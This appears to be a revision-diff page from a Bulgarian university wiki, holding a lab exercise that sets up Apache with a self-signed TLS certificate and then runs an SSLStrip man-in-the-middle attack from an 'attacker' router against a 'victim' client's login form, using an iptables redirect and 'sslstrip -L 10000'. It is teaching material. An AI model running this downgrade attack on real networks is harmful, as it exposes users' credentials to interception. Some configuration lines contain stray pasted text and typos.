Apache SSL: Difference between revisions

From Ilianko
No edit summary
 
(18 intermediate revisions by the same user not shown)
Line 1: Line 1:
Конфигуриране на Apache с поддръжка на https (TLS/SSL)
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip
Опитна постановка
Опитна постановка:
Router, Web Server, Web Client.


==Мрежови настройки==


===Router (Attacker)===
===Router (Attacker)===
Играе ролята на рутер, токча за достъп към Интернет.
Играе ролята на рутер, токча за достъп към Интернет.
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
Настройка DNS
*nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси:
Настройки на Интерфейси:
*nano /etc/resolv.conf
nano /etc/network/interfaces
<code><pre>
<code><pre>
auto lo
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback
iface lo inet loopback


Line 27: Line 35:


Активиране на NAT
Активиране на NAT
  iptables -A POSTROUTING -t nat -j MASQUERADE
  echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
  echo 1 > /proc/sys/net/ipv4/ip_forward
  echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
 
=== Web сървър ===
 
*nano /etc/resolv.conf
nameserver 8.8.4.4


== Web сървър ==
<code><pre>
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code></pre>
 
Инсталация на web сървър
Инсталиране на софтуерни пакети '''''telnet''''', '''''openssl''''', '''''apache2''''', '''''ssh'''''
apt-get update
аpt-get install apache2 openssl ssh
 
 
Проверка дали работи web сървърът.
telnet localhost 80
  GET
 
=== Web client (Victim) ===
windows XP
*IP: 10.3.45.1XX/16
*gateway: 10.3.0.1;
*DNS: 8.8.4.4
*през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
 
 
==Host машина==
Добавяне на път от host машината към web сървъра
route add -net 172.16.1.0/24 gw 10.3.45.100
 
== Web форма ==
 
Тестване на web сървъра през Web клиента
*В браузъра се отваря:
http://172.16.1.2/index.html
 
Качване на форма form.html
*Подгответе web форма и я качете през ssh на веб сървъра
<code><pre>
<code><pre>
<html>
<html>
Line 38: Line 90:
   </head>
   </head>
   <body>
   <body>
     <form action="" method="post">
     <form action="https://172.16.1.2/index.html" method="post">
       <table>
       <table>
         <tr>
         <tr>
Line 46: Line 98:
         <tr>
         <tr>
           <td>Password</td>
           <td>Password</td>
           <td><input type="password" name="pass" value="" maxlength="100" />/td>
           <td><input type="password" name="pass" value="" maxlength="100" /></td>
         </tr>
         </tr>
         <tr>
         <tr>
Line 58: Line 110:




Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.


3. Инсталиране на софтуерни пакети '''''openssl''''', '''''apache2''''', '''''ssh'''''
Отваря се терминал на хост машината и се изпълнява
  :~$ apt-get update
  :-$ ssh student@172.16.1.1
:~$ apt-get install apache2 openssl ssh


4. Проверка дали работи web сървърът.
===Активиране на https===


От брaузър на хост машината се зарежда IP адреса на web сървъра.
*Активиране на ssl модул:
a2enmod ssl


5. Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh.
*Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart


Отваря се терминал на хост машината и се изпълнява
*добавете към index.html връзка към формата
  :-$ ssh student@10.3.45.10X
  <a href=https://172.16.1.2/form.html >Forma</a>


6. Генериране на ...
=== Генериране на собствен самоподписан сертификат ===


Да се създаде директория ~/keys
*Да се създаде директория /root/keys
  :~$ mkdir ~/keyes
  mkdir /root/keyes
  :~$ cd ~/keys  
  cd /root/keys  
*Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
   
   
Генериране на само-подписан сертификат и частен ключ
  Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
  :~$ openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
...
 
Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg'''''
 
Проверете генерираните файлове
 
7. Настройка на Apache2


Активиране на ssl модул
*Проверете генерираните файлове
:~$ a2enmod ssl


Настройка на web директория Apache. Ще се модифицира примерната конфигурация
:~$ cd /etc/apache2
:~$ cp sites-available/default-ssl sites-enabled/
:~$ nano sites-enabled/default-ssl


Редактирайте пътищата към сертификата и частния ключа
*Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
<code><pre>
<code><pre>
...
  SSLEngine on
  SSLEngine on


Line 106: Line 156:
         SSLCertificateFile    /root/keys/apache.pem
         SSLCertificateFile    /root/keys/apache.pem
         SSLCertificateKeyFile /root/keys/apache.key
         SSLCertificateKeyFile /root/keys/apache.key
 
...
</pre></code>
</pre></code>


9. Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.10X'''''
*Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX'''''
  :~$ /etc/init.d/apache2 restart
  service apache2 restart


== Атака на връзката ==


Инсталиране sslstrip


apt-get install sslstrip


# The primary network interface
пренасочване на порт
allow-hotplug eth0
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
 
 
===Victim===
windows XP
*IP: 10.3.45.1XX/16
*gateway: 10.3.0.1;
*DNS: 8.8.4.4
*през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


==Host машина==
стартиране на sslstrip
Добавяне на път от host машината към web сървъра
  sslstrip -L 10000
  route add -net 172.16.1.0/24 gw 10.3.45.100




Да се тества премахването на https връзките.





Latest revision as of 10:04, 22 October 2015

Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.

Мрежови настройки

Router (Attacker)

Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.

Настройка DNS

  • nano /etc/resolv.conf
nameserver 8.8.4.4


Настройки на Интерфейси: nano /etc/network/interfaces

auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1

allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0

Активиране на NAT

echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local
echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local

Web сървър

  • nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>

Инсталация на web сървър Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh

apt-get update
аpt-get install apache2 openssl ssh


Проверка дали работи web сървърът.

telnet localhost 80
  GET

Web client (Victim)

windows XP

  • IP: 10.3.45.1XX/16
  • gateway: 10.3.0.1;
  • DNS: 8.8.4.4
  • през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX


Host машина

Добавяне на път от host машината към web сървъра

route add -net 172.16.1.0/24 gw 10.3.45.100

Web форма

Тестване на web сървъра през Web клиента

  • В браузъра се отваря:
http://172.16.1.2/index.html

Качване на форма form.html

  • Подгответе web форма и я качете през ssh на веб сървъра
<html>
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled Document</title>
  </head>
  <body>
    <form action="https://172.16.1.2/index.html" method="post">
      <table>
        <tr>
          <td>User: </td>
          <td><input type="text" name="name" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td>Password</td>
          <td><input type="password" name="pass" value="" maxlength="100" /></td>
        </tr>
        <tr>
          <td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


Свързване от Хост компютъра към виртуалния Web сървър през ssh.

Отваря се терминал на хост машината и се изпълнява

:-$ ssh student@172.16.1.1

Активиране на https

  • Активиране на ssl модул:
a2enmod ssl
  • Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
  • добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>

Генериране на собствен самоподписан сертификат

  • Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys 

  • Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key

Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
  • Проверете генерираните файлове


  • Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
 SSLEngine on

        #   A self-signed (snakeoil) certificate can be created by installing
        #   the ssl-cert package. See
        #   /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
        #   If both key and certificate are stored in the same file, only the
        #   SSLCertificateFile directive is needed.
        SSLCertificateFile    /root/keys/apache.pem
        SSLCertificateKeyFile /root/keys/apache.key
...
  • Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart

Атака на връзката

Инсталиране sslstrip

apt-get install sslstrip

пренасочване на порт

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

стартиране на sslstrip

sslstrip -L 10000


Да се тества премахването на https връзките.



https://wiki.debian.org/Self-Signed_Certificate http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html http://www.thegeekstuff.com/2011/03/install-apache2-ssl/ http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html